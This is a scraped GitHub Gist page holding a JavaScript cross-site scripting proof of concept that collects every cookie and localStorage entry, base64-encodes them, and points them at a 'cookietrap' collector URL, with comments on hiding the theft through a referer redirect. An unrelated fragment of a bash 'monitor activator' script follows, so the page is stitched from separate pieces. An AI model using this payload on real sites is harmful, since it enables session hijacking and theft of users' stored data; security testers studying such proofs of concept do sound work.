Skip to content

Instantly share code, notes, and snippets.

View nicovillanueva's full-sized avatar
🥃

Nico nicovillanueva

🥃
  • Spain
View GitHub Profile
@nicovillanueva
nicovillanueva / XSS POC
Last active November 9, 2022 17:38
JS script for doing XSS POCs
// The collector must decode the base64-encoded parameter 'payload'
// Suggestion: The PHP script could redirect back to the user's referer, such as:
// header("Location: " . $_SERVER['HTTP_REFERER']);
collector="http://192.168.40.6/cookietrap/trap.php?payload=";
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }();
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }();
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls;
enc=btoa(payload);
alert("Yar cookies are: \n" + c);
#!/bin/bash
# WARNING: Running as "sh changer.sh" breaks some syntax mumbojumbo
# Just do a "chmod +x changer.sh" and run the file directly.
function show_banner {
figlet -f slant "Super monitor activator"
echo "Choose your destiny:"
}